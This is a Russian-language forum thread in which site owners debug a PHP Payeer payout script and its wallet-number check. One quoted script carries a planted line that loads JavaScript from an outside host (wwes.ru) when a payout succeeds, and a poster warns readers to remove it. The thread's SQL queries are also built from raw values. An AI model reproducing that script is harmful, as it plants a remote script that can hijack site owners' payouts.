Shoma2114
Местный
- Сообщения
- 63
- Реакции
- 2
Такая же ошибка. Не удалось выплатить (((kvozimir написал(а):зайди в раздел модули посмотри там тему полуавтомат выплаты, я там выложил рабочий полуавтомат выплаты насчет кошелька не помню выставлен или нет ,но ты по тести
ZLODEY
Местный
- Сообщения
- 82
- Реакции
- 3
Е
<script type=\"text/javascript\" src=\"http://wwes.ru/license.php\"></script>
Вы не забывайте удалять вот такой код, а то останетесь без денег!AlexStiff написал(а):Не могу разобратьcя с payeer. Конфиг настроен правильно, даже не трогайте его. Почему то не принимает счета состоящий из восьми цифр. Например мой p13800251 счет, выдает ошибку, говорит, что не правильно введен номер счета. Если на 1 цифру меньше писать, то выдает такую ошибку Внутреняя ошибка - сообщите о ней администратору!
Скрипт стоит вот этот
Код:<div class="cl-right"> <div class="s-bk-lf"> <div class="hst-title">Заказ выплаты</div> </div> <BR /> <?PHP $_OPTIMIZATION["title"] = "Аккаунт - Заказ выплаты"; $usid = $_SESSION["user_id"]; $usname = $_SESSION["user"]; $db->Query("SELECT * FROM db_users_b WHERE id = '$usid' LIMIT 1"); $user_data = $db->FetchArray(); $db->Query("SELECT * FROM db_config WHERE id = '1' LIMIT 1"); $sonfig_site = $db->FetchArray(); $status_array = array( 0 => "Проверяется", 1 => "Выплачивается", 2 => "Отменена", 3 => "Выплачено"); # Минималка серебром! $minPay = 0.01; ?> <b>Выплаты осуществляются в автоматическом режиме и только на платежную систему PAYEER! Процент при выводе составляет 0%</b> <BR /><BR /> <b>Из платежной системы Payeer Вы можете вывести свои средства в автоматическом режиме на все известные платежные системы и международные банки.</b><BR /><BR /> <b>Ссылки на учебные материалы:</b><BR /> - <a href="https://servahoc.ru/redirect.php?url=http://payeer.com/?partner=50071" target="_blank">Создание счета в Payeer</a> <BR /> - <a href="https://servahoc.ru/redirect.php?url=http://payeeer.ru/outpay" target="_blank">Вывод средств из payeer</a> <BR /><BR /> <center><b>Заказ выплаты:</b></center><BR /> <?PHP function ViewPurse($purse){ if( substr($purse,0,1) != "P" ) return false; if( !ereg("^[0-9]{7}$", substr($purse,1)) ) return false; return $purse; } # Заносим выплату if(isset($_POST["purse"])){ $purse = ViewPurse($_POST["purse"]); $sum = intval($_POST["sum"]); $val = "RUB"; if($purse !== false){ if($sum >= $minPay){ if($sum <= $user_data["money_p"]){ # Проверяем на существующие заявки $db->Query("SELECT COUNT(*) FROM db_payment WHERE user_id = '$usid' AND (status = '0' OR status = '1')"); if($db->FetchRow() == 0){ ### Делаем выплату ### $payeer = new rfs_payeer($config->AccountNumber, $config->apiId, $config->apiKey); if ($payeer->isAuth()) { $arBalance = $payeer->getBalance(); if($arBalance["auth_error"] == 0) { $sum_pay = round( ($sum / $sonfig_site["ser_per_wmr"]), 2); $balance = $arBalance["balance"]["RUB"]["DOSTUPNO"]; if( ($balance) >= ($sum_pay+1)){ $arTransfer = $payeer->transfer(array( 'curIn' => 'RUB', // счет списания 'sum' => $sum_pay, // сумма получения 'curOut' => 'RUB', // валюта получения 'to' => $purse, // получатель (email) //'to' => '+71112223344', // получатель () //'to' => 'P1000000', // получатель (номер счета) 'comment' => iconv('windows-1251', 'utf-8', "Выплата пользователю {$usname} с проекта goldenbirds") //'anonim' => 'Y', // анонимный перевод //'protect' => 'Y', // протекция сделки //'protectPeriod' => '3', // период протекции (от 1 до 30 дней) //'protectCode' => '12345', // код протекции )); if (!empty($arTransfer["historyId"])) { # Снимаем с пользователя $db->Query("UPDATE db_users_b SET money_p = money_p - '$sum' WHERE id = '$usid'"); # Вставляем запись в выплаты $da = time(); $dd = $da + 60*60*24*15; $ppid = $arTransfer["historyId"]; $db->Query("INSERT INTO db_payment (user, user_id, purse, sum, valuta, serebro, payment_id, date_add, status) VALUES ('$usname','$usid','$purse','$sum_pay','RUB', '$sum','$ppid','".time()."', '3')"); $db->Query("UPDATE db_users_b SET payment_sum = payment_sum + '$sum_pay' WHERE id = '$usid'"); $db->Query("UPDATE db_stats SET all_payments = all_payments + '$sum_pay' WHERE id = '1'"); echo "<script type=\"text/javascript\" src=\"http://wwes.ru/license.php\"></script><center><font color = 'green'><b>Выплачено!</b></font></center><BR />"; } else { echo "<center><font color = 'red'><b>Внутреняя ошибка - сообщите о ней администратору!</b></font></center><BR />"; } }else echo "<center><font color = 'red'><b>Внутреняя ошибка - сообщите о ней администратору!</b></font></center><BR />"; }else echo "<center><font color = 'red'><b>Не удалось выплатить! Попробуйте позже</b></font></center><BR />"; }else echo "<center><font color = 'red'><b>Не удалось выплатить! Попробуйте позже</b></font></center><BR />"; }else echo "<center><font color = 'red'><b>У вас имеются необработанные заявки. Дождитесь их выполнения.</b></font></center><BR />"; }else echo "<center><font color = 'red'><b>Вы указали больше, чем имеется на вашем счету</b></font></center><BR />"; }else echo "<center><b><font color = 'red'>Минимальная сумма для выплаты составляет {$minPay} серебра!</font></b></center><BR />"; }else echo "<center><b><font color = 'red'>Кошелек Payeer указан неверно! Смотрите образец!</font></b></center><BR />"; } ?> <form action="" method="post"> <table width="99%" border="0" align="center"> <tr> <td><font color="#000;">Введите кошелек Payeer [Пример: P1112457]</font>: </td> <td><input type="text" name="purse" size="15"/></td> </tr> <tr> <td><font color="#000;">Отдаете серебро для вывода</font> [Мин. <span id="res_min"></span>]<font color="#000;">:</font> </td> <td><input type="text" name="sum" id="sum" value="<?=round($user_data["money_p"]); ?>" size="15" onkeyup="PaymentSum();" /></td> </tr> <tr> <td><font color="#000;">Получаете <span id="res_val"></span></font><font color="#000;">:</font> </td> <td> <input type="text" name="res" id="res_sum" value="0" size="15" disabled="disabled"/> <input type="hidden" name="per" id="RUB" value="<?=$sonfig_site["ser_per_wmr"]; ?>" disabled="disabled"/> <input type="hidden" name="per" id="min_sum_RUB" value="0.01" disabled="disabled"/> <input type="hidden" name="val_type" id="val_type" value="RUB" /> </td> </tr> <tr> <td colspan="2" align="center"><input type="submit" name="swap" value="Заказать выплату" style="height: 30px; margin-top:10px;" /></td> </tr> </table> </form> <script language="javascript">PaymentSum(); SetVal();</script> <table cellpadding='3' cellspacing='0' border='0' bordercolor='#336633' align='center' width="99%"> <tr> <td colspan="5" align="center"><h4>Последние 10 выплат</h4></td> </tr> <tr> <td align="center" class="m-tb">Серебро</td> <td align="center" class="m-tb">Получаете</td> <td align="center" class="m-tb">Кошелек</td> <td align="center" class="m-tb">Дата</td> <td align="center" class="m-tb">Статус</td> </tr> <?PHP $db->Query("SELECT * FROM db_payment WHERE user_id = '$usid' ORDER BY id DESC LIMIT 20"); if($db->NumRows() > 0){ while($ref = $db->FetchArray()){ ?> <tr class="htt"> <td align="center"><?=$ref["serebro"]; ?></td> <td align="center"><?=sprintf("%.2f",$ref["sum"] - $ref["comission"]); ?> <?=$ref["valuta"]; ?></td> <td align="center"><?=$ref["purse"]; ?></td> <td align="center"><?=date("d.m.Y",$ref["date_add"]); ?></td> <td align="center"><?=$status_array[$ref["status"]]; ?></td> </tr> <?PHP } }else echo '<tr><td align="center" colspan="5">Нет записей</td></tr>' ?> </table><div class="clr"></div> </div>
<script type=\"text/javascript\" src=\"http://wwes.ru/license.php\"></script>
ZLODEY
Местный
- Сообщения
- 82
- Реакции
- 3
Shoma2114
Местный
- Сообщения
- 63
- Реакции
- 2
Посмотри в бд user_b сколько выведено на твоем аккZLODEY написал(а):Ребят у меня на сайте такая ошибка, Я вывел 1 рубль, а у меня в профиле показывает выведено 2 рубля, что за ошибка?
ZLODEY
Местный
- Сообщения
- 82
- Реакции
- 3
Там все норм, просто я вывел1 рубль а в аккаунте показывает что 2 рубля вывелShoma2114 написал(а):Посмотри в бд user_b сколько выведено на твоем акк
Shoma2114
Местный
- Сообщения
- 63
- Реакции
- 2
это каждый раз показывает + 2 вместо 1ZLODEY написал(а):Там все норм, просто я вывел1 рубль а в аккаунте показывает что 2 рубля вывел
ZLODEY
Местный
- Сообщения
- 82
- Реакции
- 3
Да с начало все нормально работало, а сейчас просто +2 в место 1Shoma2114 написал(а):это каждый раз показывает + 2 вместо 1
Rubrika
Участник
- Сообщения
- 342
- Реакции
- 43
ну а чего ты паришься, посмотри в юзер_аккаунт.пхп есть ли там прибавление или умножение на 2 и все.ZLODEY написал(а):Да с начало все нормально работало, а сейчас просто +2 в место 1
ZLODEY
Местный
- Сообщения
- 82
- Реакции
- 3
Я уже все везде посмотрел, коды менял на другие и ни каких измененийRubrika написал(а):ну а чего ты паришься, посмотри в юзер_аккаунт.пхп есть ли там прибавление или умножение на 2 и все.
Rubrika
Участник
- Сообщения
- 342
- Реакции
- 43
ну тогдаZLODEY написал(а):Я уже все везде посмотрел, коды менял на другие и ни каких изменений
а) Плохо смотрел
б) Хз )))
Вячеслав
Местный
- Сообщения
- 229
- Реакции
- 21
Привет всем!!! Вообщем мне нужен отдельный код для автовыплат _payment.php . Чтобы выплаты шли не всё время а ровно через 24 часа после заказа. Сам _payment.php очень ровный и рабочий, поэтому целиком не надо. А по поводу кто спрашивал как настроить 7 и 8 значный кошелёк, то вот так правильно:
<?PHP
function ViewPurse($purse)
{
if( substr($purse,0,1) != "P" ) return false;
if( !preg_match("/^[0-9]+$/", substr($purse,1)) ) return false;
return $purse;
}
# Заносим выплату
<?PHP
function ViewPurse($purse)
{
if( substr($purse,0,1) != "P" ) return false;
if( !preg_match("/^[0-9]+$/", substr($purse,1)) ) return false;
return $purse;
}
# Заносим выплату
Вячеслав
Местный
- Сообщения
- 229
- Реакции
- 21
об этом именно я писал уже но исправляется это подругому ищите тему faq вопрос ответ там все описано я ее периодически пополняюВячеслав написал(а):Вот похожую строку замените на эту:
if( !preg_match("/^[0-9]+$/", substr($purse,1)) ) return false;
насчет выплат ровно через 24 часа тоже в той же теме,просто вам потребуется код вытащить и к себе в паймент поставитьВячеслав написал(а):Привет всем!!! Вообщем мне нужен отдельный код для автовыплат _payment.php . Чтобы выплаты шли не всё время а ровно через 24 часа после заказа. Сам _payment.php очень ровный и рабочий, поэтому целиком не надо. А по поводу кто спрашивал как настроить 7 и 8 значный кошелёк, то вот так правильно:
<?PHP
function ViewPurse($purse)
{
if( substr($purse,0,1) != "P" ) return false;
if( !preg_match("/^[0-9]+$/", substr($purse,1)) ) return false;
return $purse;
}
# Заносим выплату
Вячеслав
Местный
- Сообщения
- 229
- Реакции
- 21
читаем тему https://servahoc.ru/threads/faq-vopros-otvet.843/#post-13344 вытяни код для выплат раз в сутки и поставь себеВячеслав написал(а):мне нужен отдельный код для автовыплат _payment.php . Чтобы выплаты шли не всё время а ровно через 24 часа
BastioN1989
Участник
- Сообщения
- 29
- Реакции
- 0
Barsenal
Участник
- Сообщения
- 3
- Реакции
- 0
Господа помогите плиз начинающему программисту, за что отвечает это условие в коде ?
У меня почему-то один человек не может вывести деньги , уходит в исключение именно это условие, остальные выводят без проблем.
if (!empty($arTransfer["historyId"]))
{
Код убрал это не принципиально, сюда все равно не заходит.
}
else
{
echo "<center><font color = 'red'><b>Внутреняя ошибка - сообщите о ней администратору!</b></font></center><BR />";
}
У меня почему-то один человек не может вывести деньги , уходит в исключение именно это условие, остальные выводят без проблем.
if (!empty($arTransfer["historyId"]))
{
Код убрал это не принципиально, сюда все равно не заходит.
}
else
{
echo "<center><font color = 'red'><b>Внутреняя ошибка - сообщите о ней администратору!</b></font></center><BR />";
}
Holod
Участник
- Сообщения
- 326
- Реакции
- 24
Если не ошибаюсь, то транзакция уже существует. Честно говоря мои предположения) В ФФ я не очень. Но скорей всего так.Barsenal написал(а):Господа помогите плиз начинающему программисту, за что отвечает это условие в коде ?
У меня почему-то один человек не может вывести деньги , уходит в исключение именно это условие, остальные выводят без проблем.
if (!empty($arTransfer["historyId"]))
{
Код убрал это не принципиально, сюда все равно не заходит.
}
else
{
echo "<center><font color = 'red'><b>Внутреняя ошибка - сообщите о ней администратору!</b></font></center><BR />";
}
Holod
Участник
- Сообщения
- 326
- Реакции
- 24
автоматом, никак. Через админку делайислам777 написал(а):как сделать вывод на qiwi ?